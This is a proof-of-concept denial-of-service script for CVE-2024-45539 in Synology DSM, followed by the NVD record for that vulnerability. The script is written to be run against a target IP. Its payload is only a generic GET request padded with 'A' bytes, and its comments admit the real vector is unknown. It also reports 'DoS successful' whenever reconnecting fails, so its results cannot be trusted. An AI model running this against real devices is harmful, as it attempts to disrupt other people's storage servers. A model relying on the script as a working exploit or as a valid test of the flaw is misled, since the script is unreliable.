CVE-2024-45539

# CVE-2024-45539 PoC - Synology DSM CGI Out-of-Bounds Write DoS # This PoC demonstrates a simple DoS attack against vulnerable Synology DSM # Usage: python3 cve-2024-45539_poc.py <target_ip> import socket import sys import time def send_cgi_request(target_ip, port=5000): """ Send a crafted HTTP request to trigger the out-of-bounds write vulnerability in Synology DSM CGI components. """ # Construct a malicious request targeting CGI components # The exact payload depends on specific vulnerable endpoint payload = b'GET /cgi-bin/ HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' payload += b'Accept: */*\r\n' payload += b'Connection: close\r\n' payload += b'Content-Length: 0\r\n\r\n' # Add extra padding to trigger potential buffer overflow # This is a simplified demonstration payload += b'A' * 10000 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(payload) print(f'[+] Malicious request sent to {target_ip}:{port}') # Wait and check if service is still responsive time.sleep(2) sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) try: sock2.connect((target_ip, port)) print('[-] Service still responding, vulnerability may not be triggered') except: print('[+] Service appears to be down - DoS successful!') finally: sock2.close() sock.close() except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python3 {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 print(f'[*] CVE-2024-45539 PoC - Synology DSM CGI DoS') print(f'[*] Target: {target}:{port}') send_cgi_request(target, port)

{"cve": {"id": "CVE-2024-45539", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:54.520", "lastModified": "2025-12-05T21:44:16.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write vulnerability in cgi components in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to conduct denial-of-service attacks via unspecified vectors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.1-69057", "versionEndExcluding": "7.2.1-69057-2", "matchCriteriaId": "8A71CCD8-D16A-482E-80AC-B0E7E93591E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.2-72803", "versionEndExcluding": "7.2.2-72806", "matchCriteriaId": "E954B1FD-7E72-41F6-A80A-C1EEB30F0A54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1-23028", "versionEndExcluding": "3.1.4-23079", "matchCriteriaId": "6BAB44D0-881B-4177-BCE2-04C0CEF17C38"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_27", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}